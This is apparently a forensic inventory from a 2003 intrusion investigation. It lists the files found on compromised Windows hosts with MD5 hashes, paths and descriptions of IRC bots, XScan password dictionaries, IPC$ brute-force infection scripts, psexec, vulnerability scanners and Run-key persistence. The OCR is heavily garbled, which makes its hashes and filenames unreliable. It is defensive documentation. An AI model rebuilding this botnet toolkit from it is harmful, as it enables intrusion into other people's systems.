09: 55p raddrv. dl | b50d22ab0323cbd0f edf df 4689bc1301 | 2Confi g binary file ni crobots
Text file containing
repetitive garbage -
possi bly used as
\ Program content of flood /
02/ 25/ 2003 Fil es\MSH p9\WB | deni al of service bot #3 / Bl oodLab
09: 55p str.vxd f be0733196ecf dle2lalOcd7eaea8a63f | 2Confi g attack m cr obot s
binary file -
\ Program possi bly used to hide
02/ 25/ 2003 Fi | es\ MSH p9\ W8 gr aphi cal W ndows bot #3 / Bl oodLab
09: 55p task. dl | a85a6f 809b5500adf 9f 163f 60cbd9b25 | 2Confi g applicati on w ndows m crobot s
\ Program
02/ 25/ 2003 Fil es\MSH p9\WB | Tenp configuration bot #3 / Bl oodLab
09: 55p tenp. vxd 23elba53be9645f ebd272ch2b03a5bed4 | 2Confi g file (enpty) nmi crobot s
\ Program
02/ 25/ 2003 Fi | es\ MSH p9\ W8 binary file, part of bot #3 / Bl oodLab
09: 55p VNCHooks. dI | eb7cdd565aee05f e0779eld5c7de74ed | 2Confi g W nVNC m cr obot s

02/ 25/ 2003
09: 55p

vnsyst ask. exe

0a552590c2e48424adf 472c8ba787a28

\ Program
Fi | es\ MSH p9\ V8
2Confi g

binary file, WnVNC
execut abl e (Virtual
Net wor k Conputi ng
all ows renote

graphi cal (desktop)
access to a W ndows
host)

bot #3 / Bl oodLab
m crobot s

02/ 25/ 2003

\ Program
Fi | es\ MSH p9\ W8

Script to use wget to

bot #3 / Bl oodLab

09: 55p z.vxd 61b2032228e081435bbcedacd0b190e2 | 2Confi g downl oad files m crobot s

\ Pr ogr am

Fi | es\ MSH p9\ V8
02/ 25/ 2003 2Config\downloa | binary file, |RC bot bot #3 / Bl oodLab
11: 13p b0t . exe a212f 2e8b125b6¢c82e59ballf 8f b8327 | d (identical to bl.vxd) | microbots

\ Program binary file, IRC bot
02/ 25/ 2003 Files\MSH p9\WB | (identical to bot #3 / Bl oodLab
11: 14p bl . vxd a212f 2e8b125b6c82e59ballf 8f b8327 | 2Confi g b0t . exe) ni crobot s
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binary file, allows
renote execution of
03/ 01/ 2003 comands on W ndows bot #4 - TiGR/
06: 02p psexesvc. exe 37bb9f 7a9ebf 515cch33d493a61615e7 | \ wi nnt\ syst enB2 host XTean( ?)
03/ 01/ 2003 binary file; IRC bot, | bot #4 - TiGeR /
06: 03p newexpl or e. exe 5e0a41781cc237b547e76f 2b155ea821 | \ wi nnt\syst enB2 references | RC server | XTeam(?)
binary file; |IRC bot,
references | RC
03/ 01/ 2003 server; identical to bot #4 - Ti GeR/
06: 03p rat sou. exe e7be20c3f 44c606b9e145f 3c18465f 87 | \ wi nnt\syst enB2 eexpl or e. exe XTean( ?)
binary file; |IRC bot,
references | RC
03/ 10/ 2003 server; identical to bot #4 - Ti GeR/
04: 19p eexpl or e. exe e7be20c3f 44c606b9e145f 3c18465f 87 | \ wi nnt\syst enB2 rat sou. exe XTean( ?)
text file show ng
03/ 16/ 2003 \'wi nnt\ systenB2 free di sk space, bot #5 - NFOrce /
10: 34a CDI R. TXT 244e4975f9712717a443¢c327b8163b17 | \wi ns bandw dt h usage Fr ozeNet
configuration file
03/ 16/ 2003 \wi nnt\systen32 | for Serv-U FTP; bot #5 - NFOrce /
10: 34a ser vudaenon. i ni ec2278f baf 114f 4aac6bad4157322c67a | \ wi ns specifies port 22 Fr ozeNet
03/ 16/ 2003 \wi nnt\ syst enB2 binary file; Serv-U bot #5 - NFOrce /
10: 34a wi nngnt . exe cd262133e65f 6dcae37b87a438c85c8a | \wi ns FTP daenon Fr ozeNet
log file for Serv-U
FTP, shows nost
03/ 16/ 2003 \wi nnt\ syst enB2 recent boot date of bot #5 - NFOrce /
11: 06a ServUSt art UpLog. t xt | cfaa5d45c4c199965eeaddO0aad6a871la | \w ns 30 June 2003 Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce /
11: 34a cgi .|l st 96a4db3b8c777ec0e526986d18b2ae8a | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systen82 | for XScan scanni ng bot #5 - NFOrce /
11: 35a comon_pass. di ¢ aaald3976bd1e60013dd53f 743a4el2b | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce /
11: 35a conmon_user. di ¢ 132e0788b654248d0a893a2dc8bf c71b | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systen82 | for XScan scanni ng bot #5 - NFOrce /
11: 35a config.ini 29827a8d3c66b160b62d40d66c7e8717 | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce /
11: 35a ftp_pass.dic 3061d34chef e7df 5954cf b663c8a7d2a | \ wi ns\ Xscan\ dat t ool Fr ozeNet
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configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a ftp_user.dic 6759ec4ab05bb042267f e633dd3ccaba | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a | anguage. i ni 62260a3b2f 5¢101776f 9d02da385756b | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB2 | for XScan scanning bot #5 - NFOrce
11: 35a mai | _pass.dic c8da4248d6093196ab8338b865574b35 | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a mai | _user.dic 6¢8f 9f 6f 776f 52398724ae283778f 371 | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB2 | for XScan scanning bot #5 - NFOrce
11: 35a nt _pass.dic c8da4248d6093196ab8338b865574b35 | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a nt _user.dic 35b2d3a4909f cf 8901d83b769b159a01 | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a os. finger 366d0e26c4a2c4cce916ad3f e2645cee | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a port.ini 6a194006f 9a11bb04c59cd84b48a32ba | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a rpc.ini 2cdd7e71487b861f e5e7f 380344b2c16 | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a sql _pass.dic eac84a748bb4eb040076d3cc5c5b1564 | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a sql _user.dic 362db33c1505f a430b54698d1223231a | \ wi ns\ Xscan\ dat t ool Fr ozeNet
configuration files
03/ 16/ 2003 \wi nnt\systenB82 | for XScan scanni ng bot #5 - NFOrce
11: 35a wy. dll 073f b68034abelf cd99372a6143f 1cfc | \ wi ns\ Xscan\ dat t ool Fr ozeNet
\'wi nnt\ syst enB2
03/ 16/ 2003 \wi ns\ Xscan\plu | scanning plugin for bot #5 - NFOrce
11: 37a 010- port. xpn f abba428c767e3f 30f 21cbaf e6d6c42b | gi n XScan scanni ng t ool Fr ozeNet
\'wi nnt\ systenB2
03/ 16/ 2003 \'wi ns\ Xscan\ pl u scanni ng plugin for bot #5 - NFOrce
11: 37a 020- net bi 0s. xpn 448392b0c79cb99d76bc00730f 61a506 | gin XScan scanni ng t ool Fr ozeNet
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\wi nnt\ syst enB2
03/ 16/ 2003 \wi ns\ Xscan\plu | scanning plugin for bot #5 - NFOrce
11: 38a 030-rpc. xpn 9457d521658000caf b3f 876d682ch83e | gi n XScan scanni ng t ool Fr ozeNet
\'wi nnt\ systenB2
03/ 16/ 2003 \'wi ns\ Xscan\ pl u scanni ng plugin for bot #5 - NFOrce
11: 38a 040-sqgl . xpn 7b15096f 9b387b571756c6€659aa7h60 | gi n XScan scanni ng t ool Fr ozeNet
\wi nnt\ syst enB2
03/ 16/ 2003 \wi ns\ Xscan\plu | scanning plugin for bot #5 - NFOrce
11: 38a 050-ftp. xpn dbc846f e198cf 8e6¢c545ea32f f caedef | gin XScan scanni ng t ool Fr ozeNet
\'wi nnt\ systenB2
03/ 16/ 2003 \'wi ns\ Xscan\ pl u scanni ng plugin for bot #5 - NFOrce
11: 39a 060- bi nd. xpn 86598e2c89eb85ef dd01f d894913a6b6 | gin XScan scanni ng t ool Fr ozeNet
\wi nnt\ syst enB2
03/ 16/ 2003 \wi ns\ Xscan\plu | scanning plugin for bot #5 - NFOrce
11: 39a 070-fi nger. xpn 8b362790527785ded697dd8a940eac58 | gin XScan scanni ng t ool Fr ozeNet
\'wi nnt\ systenB2
03/ 16/ 2003 \'wi ns\ Xscan\ pl u scanni ng plugin for bot #5 - NFOrce
11: 39a 080- sygat e. xpn 6e621ad725192cf 15445f 944c2baf 464 | gin XScan scanni ng t ool Fr ozeNet
\wi nnt\ syst enB2
03/ 16/ 2003 \wi ns\ Xscan\plu | scanning plugin for bot #5 - NFOrce
11: 39a 090- nt pass. xpn €039b4392eb5b195889467e6d0cad7f3 | gin XScan scanni ng t ool Fr ozeNet
\'wi nnt\ systenB2
03/ 16/ 2003 \'wi ns\ Xscan\ pl u scanni ng plugin for bot #5 - NFOrce
11: 39a 100- htt p. xpn f Oacf 9b8556d0f 7dbabb270f e4c50910 | gi n XScan scanni ng t ool Fr ozeNet
\wi nnt\ syst enB2
03/ 16/ 2003 \wi ns\ Xscan\plu | scanning plugin for bot #5 - NFOrce
11: 40a 110-iis.xpn €c2c240a78205dc66c327927bdbb2bedd | gin XScan scanni ng t ool Fr ozeNet
readme file for
XScan; note that file
03/ 16/ 2003 \wi nnt\systenB2 | appears to be non- bot #5 - NFOrce
11: 41a .txt e447b175ded66b4b15d79dd377c4af 47 | \ wi ns\ Xscan Engl i sh version Fr ozeNet
\'wi nnt\ systenB2
03/ 16/ 2003 \'wi ns\ Xscan\ pl u scanni ng plugin for bot #5 - NFOrce
11: 41a 120- snt p. xpn a9c80ab665ba3aacd3a4a31e97dec5le | gin XScan scanni ng t ool Fr ozeNet
\wi nnt\ syst enB2
03/ 16/ 2003 \wi ns\ Xscan\plu | scanning plugin for bot #5 - NFOrce
11: 41a 130- pop3. xpn 2a490ad2d4d16af f 1b62a7e6eb4bec2f | gin XScan scanni ng t ool Fr ozeNet
03/ 16/ 2003 \'wi nnt\ syst enB2 binary file, used to bot #5 - NFOrce
11: 41a kill.exe 89ee8717b41695f 7df 2c467d8ab4640f | \ wi ns\ Xscan kill processes Fr ozeNet
03/ 16/ 2003 \'wi nnt\ systenB2 binary file (Borland bot #5 - NFOrce
11: 41a oncrpc. dl | be32939c3ad523129d84cf 35a4f 9641d | \ wi ns\ Xscan C++) Fr ozeNet
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03/ 16/ 2003 \'wi nnt\ syst enB2 readme file for Xscan | bot #5 - NFOrce
11: 41a readne. t xt f 4b45ed9e60a0ef f caf f acf 859¢92e89 | \ wi ns\ Xscan (English version) Fr ozeNet

\wi nnt\ syst enB2

03/ 16/ 2003 \wi ns\ Xscan\plu | sanple conpiler file bot #5 - NFOrce
11:41a sanpl e. cpp 2f 66524f 4df b5¢c07f f 8712b6e5c2d5al | gin for Xscan Fr ozeNet
03/ 16/ 2003 \'wi nnt\ systenB2 binary file, xscan bot #5 - NFOrce
11: 41a xscan. exe a02170359e77d9abda084f 8ece41151a | \ wi ns\ Xscan comand |ine version Fr ozeNet
03/ 16/ 2003 \'wi nnt\ systenB2 binary file, xscan bot #5 - NFOrce
11: 42a xscan_gui . exe 57c7ef 525b5¢30ach34d7046e3a44926 | \ wi ns\ Xscan QU version Fr ozeNet
03/ 16/ 2003 \'wi nnt\ systenB2 Xscan configuration bot #5 - NFOrce
11: 44a X- ScanCf g. i ni 7f 03d048f c1174deb48022f a21bddc69 | \ wi ns\ Xscan file Fr ozeNet

binary file -

installation /
03/ 16/ 2003 dropper file to bot #5 - NFOrce
12: 00p el eet. exe 3b3a339c464b3bc886019f a4186110c5 | \wi nnt\systenB2 | install |RC bot Fr ozeNet

03/ 16/ 2003
12: 08p

acti vex. ocx

24b381dec140b3bc2182f be5el7e7ffa

\'wi nnt\ systenB2

script file to join
I RC bot to channel
and i ssue various
comuands

bot #5 - NFOrce
Fr ozeNet

03/ 16/ 2003

I RC al i ases
configuration file to

bot #5 - NFOrce

12: 08p al i ases. i ni 33c28eda37f 5a6e9a6bbb9548f 11ael2 | \wi nnt\systenB2 | define vari abl es Fr ozeNet
03/ 16/ 2003 binary file, packed bot #5 - NFOrce
12: 08p boot drv. dl | c2e868da5758a3224683445eb73e4692 | \wi nnt\systenB32 | with UPX Fr ozeNet
standard cygwi n
bi nary (Cygwi n
provi des support for
Uni x binaries to run
03/ 16/ 2003 in a Wn32 bot #5 - NFOrce
12: 08p cygwi nl.dll aa%9e01c6df b3254dd519940e501917bf | \wi nnt\syst enB2 envi ronnent) Fr ozeNet
03/ 16/ 2003 bot #5 - NFOrce
12: 08p expl or e. dat 00a5870bf 537963817705194278467d4 | \wi nnt\systenB2 | configuration file Fr ozeNet
03/ 16/ 2003 bot #5 - NFOrce
12: 08p hi dden32. exe 371cf 58065179f 27b095bc49accdlcf8 | \wi nnt\systenB2 binary file Fr ozeNet

03/ 16/ 2003

binary file, iroffer,
used to enable file

bot #5 - NFOrce

12: 08p iroffer.exe b21bd3d878af 6167026d89d8bclccdb2 | \ wi nnt\syst enB2 sharing over I RC Fr ozeNet

03/ 16/ 2003 binary file, used to bot #5 - NFOrce

12: 08p kill.exe 89ee8717b41695f 7df 2c467d8ab4640f | \ wi nnt\syst enB2 kill processes Fr ozeNet
PrcViewv 3.6.3.1

03/ 16/ 2003 conmand line utility bot #5 - NFOrce

12: 08p | i bpar se. exe 710f 4a3dcf 9ead3e0419f 0487d9d02ea | \w nnt\systenB2 | by Igor Nys Fr ozeNet
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03/ 16/ 2003 bot #5 - NFOrce
12: 08p nybot . i gnl nfa - 0 byte file \wi nnt\systenB82 | 0 byte file Fr ozeNet
03/ 16/ 2003 text file containing bot #5 - NFOrce
12: 08p nybot . pi d 2f d45691f a193a00bb613408f 4df a4a4 | \wi nnt\systenB2 | process id 37804 Fr ozeNet

iroffer / xdcc

configuration file,
03/ 16/ 2003 references to IRC bot #5 - NFOrce
12: 08p mybot . t xt 9ade8de46f 63e0a54260948081d162b8 | \ wi nnt\ syst enB2 server and channel Fr ozeNet
03/ 16/ 2003 bot #5 - NFOrce
12: 08p nybot . xdcc 2058b28b4c2ba02b5bf ab77da6609f e4 | \wi nnt\systenB2 |text file Fr ozeNet
03/ 16/ 2003 bot #5 - NFOrce
12: 08p nmybot . xdcc. bkup 2058b28b4c2ba02b5bf ab77da6609f e4 | \wi nnt\systenB2 |text file Fr ozeNet

text file; list of

nanmes, possibly used

in brute force login

attack or as random
03/ 16/ 2003 "ni cks" (ni cknames) bot #5 - NFOrce
12: 08p navdb. dbx c7cae3d33b161e99bf 92e27f 8c70ach5 | \wi nnt\systenB2 | on | RC channel s Fr ozeNet

I RC bot configuration

file, includes
03/ 16/ 2003 references to IRC bot #5 - NFOrce
12: 08p pirc.ini 46e6107492419ca43010ef 732d00cc9e | \wi nnt\systenB2 | servers Fr ozeNet

binary file, used for
03/ 16/ 2003 renote process bot #5 - NFOrce
12: 08p psexec. exe 13b1f 577a984f d5530b0a716e52c041a | \wi nnt\systenB2 | executi on on W ndows Fr ozeNet
03/ 16/ 2003 bot #5 - NFOrce
12: 08p rconnect . conf 0291e0be67490a6f 708c063dddc87ac4 | \ wi nnt\syst enB2 configuration file Fr ozeNet
03/ 16/ 2003 binary file, packed bot #5 - NFOrce
12: 08p rconnect . exe 67bb4080b52a44f 872f f d3c¢16b33d038 | \wi nnt\systenB2 | with UPX Fr ozeNet

batch file to add

contents of

"regkeyadd.reg" to

registry and to set

Hi dden attribute on

c:\winnt\systenB2\el e

et.exe and
03/ 16/ 2003 c:\wi nnt\systen82\web | bot #5 - NFOrce
12: 08p r egkeyadd. bat 8f f 47ce88424cf 1a91dal370abf 3ba6a | \wi nnt\systenB2 | \printers\imges Fr ozeNet

W ndows registry

entries to add
03/ 16/ 2003 start.bat to the bot #5 - NFOrce
12: 08p regkeyadd. r eg 187deb49313f 3ebf df 16bd9519f c14b0 | \ wi nnt\ syst enB2 "Run" key Fr ozeNet
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Script to start IRC

bot, xdcc/iroffer
03/ 16/ 2003 service, and Serv-U bot #5 - NFOrce
12: 08p scri pt.ocx 170c0abf c4bc01252f 82a8c2a35d3aab | \ wi nnt\ syst enB2 FTP Fr ozeNet

batch script to

del ete W ndows hi dden

shares, stop several

W ndows services, and

set Hidden attribute
03/ 16/ 2003 on filles / bot #5 - NFOrce
12: 08p secur e. bat 25bb32e3f 9e1ae67997a0eba6019f 36a | \wi nnt\systenB2 | directories Fr ozeNet

binary file (Borland
03/ 16/ 2003 Del phi), packed with bot #5 - NFOrce
12: 08p Secur eNet bi os. exe 5e0968d2c547b051a1e61b18998540cc | \ wi nnt\ syst enB2 UPX Fr ozeNet

configuration file
03/ 16/ 2003 for Serv-U FTP, uses bot #5 - NFOrce
12: 08p Ser vUDaenon. i ni aee00c4c4d821ff2715160cla7e39d6b | \ wi nnt\syst enB2 port 5555 Fr ozeNet

batch script, uses

hi dden32. exe to run

r egkeyadd. bat,
03/ 16/ 2003 expl orer.exe, and bot #5 - NFOrce
12: 08p start. bat dc9121a9f 1697b258df 0e658abb32eab | \wi nnt\systenB2 | secure. bat Fr ozeNet

Text file containing

repetitive garbage -

possi bly used as

content of flood /
03/ 16/ 2003 deni al of service bot #5 - NFOrce
12: 08p str.vxd f be0733196ecf dle21laOcd7eaea8ab3f | \wi nnt\systenB82 | attack Fr ozeNet
03/ 16/ 2003 binary file (Borland bot #5 - NFOrce
12: 08p svchost 32. exe 214f 56b62f 740c600d78e15d0c83fff5 | \wi nnt\systenB2 | C++), packed with UPX | FrozeNet

script to attenpt to

log on to I PC$ share

using list of

predefi ned usernanes

and passwords, and to
03/ 16/ 2003 infect systemif bot #5 - NFOrce
12: 08p v32dri ver. bat 1c6920b1913d577f bd8c1lc7de35f b56e | \wi nnt\systenB82 | | ogon successful Fr ozeNet
03/ 16/ 2003 bot #5 - NFOrce
12: 08p war eznman. exe 4b8c60c38dde2628c8f 2419636f 817df | \ wi nnt\ syst enB2 binary file Fr ozeNet
03/ 16/ 2003 Script to downl oad bot #5 - NFOrce
12: 08p web. swf 7cf 4f 42a17df c1d973c958084f e6d600 | \wi nnt\systenB2 | files Fr ozeNet
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03/ 16/ 2003 binary file; Serv-U bot #5 - NFOrce
12: 08p Wi nngnt . exe 392f 38ab5dde57hf 360a5f 015a85a2ea | \ wi nnt\syst enB2 FTP daenon Fr ozeNet

I RC al i ases
03/ 19/ 2003 \'wi nnt\ systenB2 configuration file to | bot #5 - NFOrce
10: 27a al i ases. i ni 94b28d51cf 538c21f 9f e75f cd8ca26dc | \ wi ns\ NFOr ce define vari abl es Fr ozeNet
03/ 19/ 2003 \'wi nnt\ syst enB2 binary file, used to bot #5 - NFOrce
10: 27a kill.exe 89ee8717b41695f 7df 2c467d8ab4640f | \ wi ns\ NFOr ce kill processes Fr ozeNet
03/ 19/ 2003 \'wi nnt\ systenB2 bot #5 - NFOrce
10: 27a nmrc.exe b766003f 431cad186bd115f 5761592d1 | \ wi ns\ NFOr ce m RC | RC client Fr ozeNet

I RC configuration
03/ 19/ 2003 \wi nnt\systenB2 |file, references IRC bot #5 - NFOrce
10: 30a mrec.ini b5a5714c3c083a16a7162565d36175dd | \ wi ns\ NFOr ce server Fr ozeNet
03/ 19/ 2003 \wi nnt\ syst enB2 bot #5 - NFOrce
10: 30a performini 38dc8d75ce091ca6564c41c7a5f 37795 | \ wi ns\ NFOr ce configuration file Fr ozeNet
03/ 19/ 2003 \wi nnt\ syst enB2 bot #5 - NFOrce
10: 3la popups. i ni b3691c74647ed87c3ea794f 37a448a7a | \ wi ns\ NFOr ce configuration file Fr ozeNet
03/ 19/ 2003 \wi nnt\ syst enB2 bot #5 - NFOrce
10: 31a renote.ini 90ce28f 70aee7e510dae0c22alac4f 67 | \wi ns\ NFOrce configuration file Fr ozeNet
03/ 19/ 2003 \wi nnt\ syst enB2 script to connect to bot #5 - NFOrce
10: 3la script.ini edd724b9b002a2354046082092a5bb5c | \ wi ns\ NFOr ce I RC server Fr ozeNet
03/ 19/ 2003 \wi nnt\ syst enB2 bot #5 - NFOrce
10: 3la scriptl.ini 8f d97df 33c6caldael6152982bb6faf 5 | \ wi ns\ NFOr ce I RC scri pt Fr ozeNet
03/ 19/ 2003 \wi nnt\ syst enB2 bot #5 - NFOrce
10: 3la script2.ini b180c72473f f Of ae7ce6642f ecd8998a | \ wi ns\ NFOr ce I RC scri pt Fr ozeNet
03/ 19/ 2003 \'wi nnt\ systenB2 bot #5 - NFOrce
10: 31a script3.ini 8b260adcaedabaae983e988392e6b4f 2 | \ wi ns\ NFOr ce I RC scri pt Fr ozeNet
03/ 19/ 2003 \'wi nnt\ systenB2 bot #5 - NFOrce
10: 31la scri pt4.ini 42cb6ba21b44calbd18e05394870dc4f | \wi ns\ NFOrce I RC scri pt Fr ozeNet
03/ 19/ 2003 \'wi nnt\ systenB2 bot #5 - NFOrce
10: 31a scri pt5.ini 877e0f 201ed8abb163af Ob5eedbd489d | \ wi ns\ NFOr ce I RC scri pt Fr ozeNet
03/ 19/ 2003 \'wi nnt\ systenB2 IRC script to joint bot #5 - NFOrce
10: 31la scri pt6.ini 4e1979987f 09b72f 2e5e138c9db7bb68 | \ wi ns\ NFOr ce speci fi ¢ channel Fr ozeNet
03/ 19/ 2003 \'wi nnt\ systenB2 bot #5 - NFOrce
10: 31a script7.ini fa7c566889ecc77db789104a9b06dlaa | \ wi ns\ NFOr ce I RC scri pt Fr ozeNet
03/ 19/ 2003 \'wi nnt\ systenB2 bot #5 - NFOrce
10: 31la scri pt 8. i ni f 39e9b0d9559f 5233¢c795b0a9€910819 | \ wi ns\ NFOr ce I RC scri pt Fr ozeNet

I RC script,

references "NFOrce

EggDrop Bot By
03/ 19/ 2003 \wi nnt\systenB82 | Audi _TT (\Version bot #5 - NFOrce
10: 31a scri pt9.ini €c97568ed9d6003121641833ad9%9ad4bc3 | \ wi ns\ NFOr ce 1.4)" Fr ozeNet
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03/ 19/ 2003
10: 31a

servers.ini

e402a84f ba463456ef ebc84d1f ea35b7

\'wi nnt\ systenB2
\'wi ns\ NFOr ce

I RC configuration
file, references IRC
server

bot #5 - NFOrce /
Fr ozeNet

03/ 19/ 2003

\wi nnt\ syst enB2
\wi ns\NFOrce\l o

Log file of IRC
sessions from19 - 20
March 2003,
references vari ous
URLs and por nographic
file nanes,
presunably fromfile

bot #5 - NFOrce /

10: 36a #NFOr ce. | og 1f e1085c26c888d6b4d33al7a519calb | gs\ FrozeNet swappi ng Fr ozeNet

Log file of IRC

sessions from19 - 20

March 2003,

ref erences vari ous

URLs and por nographic

\wi nnt\ syst enB2 file nanes,

03/ 19/ 2003 \wi ns\NFOrcell o presumably fromfile bot #5 - NFOrce /
10: 36a #NFOr ce. | og €2543d950412a6293293f a97e01f a47e | gs\ Ef net swappi ng Fr ozeNet
03/ 19/ 2003 \wi nnt\ syst enB2 bot #5 - NFOrce /
10: 49a scri pt 10.i ni f 897a49895f 3aa2de256d6432112e58d | \ wi ns\ NFOr ce I RC scri pt Fr ozeNet
03/ 20/ 2003 \'wi nnt\ syst enB2 binary file, used to bot #5 - NFOrce /
03: 28p kill.exe 89ee8717b41695f 7df 2c467d8ab4640f | \ wi ns\ SFI ND kill processes Fr ozeNet
03/ 20/ 2003 \'wi nnt\ systenB2 binary file, port bot #5 - NFOrce /
03: 28p sfind. exe 357d17159b0483234da0a27dd051ef fa | \ wi ns\ SFI ND scanner ? Fr ozeNet

text file, lists

conmand to use sfind

on 137.56 network to
03/ 20/ 2003 \wi nnt\ syst enB2 search for port 1433 bot #5 - NFOrce /
03: 29p sfind. txt 43e58e4el1e98cd9a84d7cc088dae87el | \ wi ns\ SFI ND (M5 SQL Server) Fr ozeNet

\'wi nnt\ syst enB2 log file listing two

03/ 20/ 2003 \wi ns\NFOrce\ll o sessions starting bot #5 - NFOrce /
10: 36a #NFOr ce. | og 91c3482248355250f 6062d6e4ca7d860 | gs March 20 2003 Fr ozeNet

04/ 21/ 2003
11: 16p

j doe96312. exe

a08hb87hbf 234419d19969e65a733c2a43

binary file, Ratsou
dropper / install
file (? - identical
to pizza[l].exe)

bot #6 - DTBOT /
Rat sou
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\ Docunents and
Set ti ngs\ z\ Loca
|
Set ti ngs\ Tenpor binary file, Ratsou
ary | nternet dropper / install
04/ 21/ 2003 Fil es\ Content. | file (? - identical bot #6 DTBOT /
11: 16p pi zza[ 1] . exe a08b87bf 234419d19969e65a733c2a43 | E5\ 05QR412Z to j doe96312. exe) Rat sou
\ Docunent s and
04/ 21/ 2003 Settings\z\Loca | batch file to delete bot #6 DTBOT /
11: 16p r. bat ¢c33c3bd528h74ef 8e010cd3b5f 3950aa || Settings\Tenmp |files Rat sou
\ Docunents and
Set ti ngs\ z\ Loca
|
Set ti ngs\ Tenpor binary file, dropper
ary | nternet / install file (? -
04/ 21/ 2003 Fil es\ Content. | identical to bot #6 DTBOT /
11: 17p ndt gt [ 1] . exe 2712a6314cd74aecf 75f 721b0763d6bd | E5\ OQAVATQZ newconf . exe) Rat sou
binary file, dropper
/ install file (? -
04/ 21/ 2003 identical to bot #6 DTBOT /
11: 17p newconf . exe 2712a6314cd74aecf 75f 721b0763d6bd | \ ndt gt [ 1] . exe) Rat sou
text configuration
04/ 21/ 2003 \'wi nnt \ Hel p\ Tou file, AOL Instant bot #6 DTBOT /
11: 20p ai mtxt cae06f 2dd2a50ca92f 8d1cbcb6594a33 | rs\ ht m Tour Messenger | D? Rat sou
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | configuration file, bot #6 DTBOT /
11: 20p Al'm RC. i ni 31346345f 2575430c2ad8270b79e1110 | rs\ ht m Tour lists AlMuserid Rat sou
script to scan for
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | and infect vul nerable | bot #6 DTBOT /
11: 20p bl a. t xt bad9ed2699651151df 0149678749841f | r s\ ht nl Tour IS servers Rat sou
script to configure
04/ 21/ 2003 \'wi nnt \ Hel p\ Tou BNC proxy server on bot #6 DTBOT /
11: 20p bnc. dl | 5f c0le41f cc5728996f 8cc7cf 5¢f 3889 | rs\ htm Tour default port 31337 Rat sou
binary file,
psexec. exe, used for
04/ 21/ 2003 \'wi nnt\ Hel p\ Tou renmot e conmmand bot #6 DTBOT /
11: 20p boot . exe 3a47247ef 30c8846667f 5a4631e3cca2 | rs\ htnl Tour execution on W ndows Rat sou
script to scan for
addi tional vul nerable
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | Wndows hosts (port bot #6 DTBOT /
11: 20p config. hfg d9093f 06ba31bclf 9b9422d0c6lecaed | rs\ htm Tour 445) Rat sou
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binary file,
spastic. exe by cys of
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | NewNet, denial of bot #6 - DTBOT
11: 20p crazy. exe 78cb3035952da561b5be0d6ad3d9c279 | rs\ ht nl Tour service tool Rat sou
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | script to scan for bot #6 - DTBOT
11: 21p cscan. dat bb485d6569f 67d9b1b99edcd1a868ef 7 | r s\ ht nl Tour Ci sco devi ces Rat sou
script used to scan
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | for vulnerable IS bot #6 - DTBOT
11: 21p dt kode. t xt 34456665eb38a4bf 76f ace2a8cb6ddb8 | rs\ ht m Tour servers Rat sou

04/ 21/ 2003

\'wi nnt \ Hel p\ Tou

binary file (Borland

C++), packed with
UPX; used to hide
gr aphi cal W ndows

bot #6 - DTBOT

11: 21p enpavns. exe 1281e6bb86c87728c9366c1e4d39382d | rs\ ht nl Tour applications Rat sou
04/ 21/ 2003 \'wi nnt \ Hel p\ Tou binary file, mMRC bot #6 - DTBOT
11: 21p expl 32. exe 8603e9f €232d6b5c6f Oaebf 2d78cf 7bb | rs\ ht m Tour client Rat sou

04/ 21/ 2003

\'wi nnt \ Hel p\ Tou

script to control /
i ssue commands to I RC

bot #6 - DTBOT

11: 21p i mpvrs. dl | 323f eaaf 12e4a5149b3dd1984ac54a56 | rs\ ht m Tour client Rat sou
04/ 21/ 2003 \'wi nnt \ Hel p\ Tou configuration file, bot #6 - DTBOT
11: 21p i pservers. txt 33a695f eacd410c5f 8e2d009326421e3 | rs\ ht m Tour list of IRC servers Rat sou

04/ 21/ 2003

\'wi nnt \ Hel p\ Tou

script used to
attenpt to logon to
vul nerabl e W ndows
hosts by connecting
to IPC$ with preset
list of

user s/ passwords and
infect host if
connecetion

bot #6 - DTBOT

11: 21p | an. bat cd67b366b1c998a9ble9b6a4f f c4ed1l4 | rs\ htm Tour successf ul Rat sou
PrcViewv 3.6.3.1
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | conmand line utility bot #6 - DTBOT
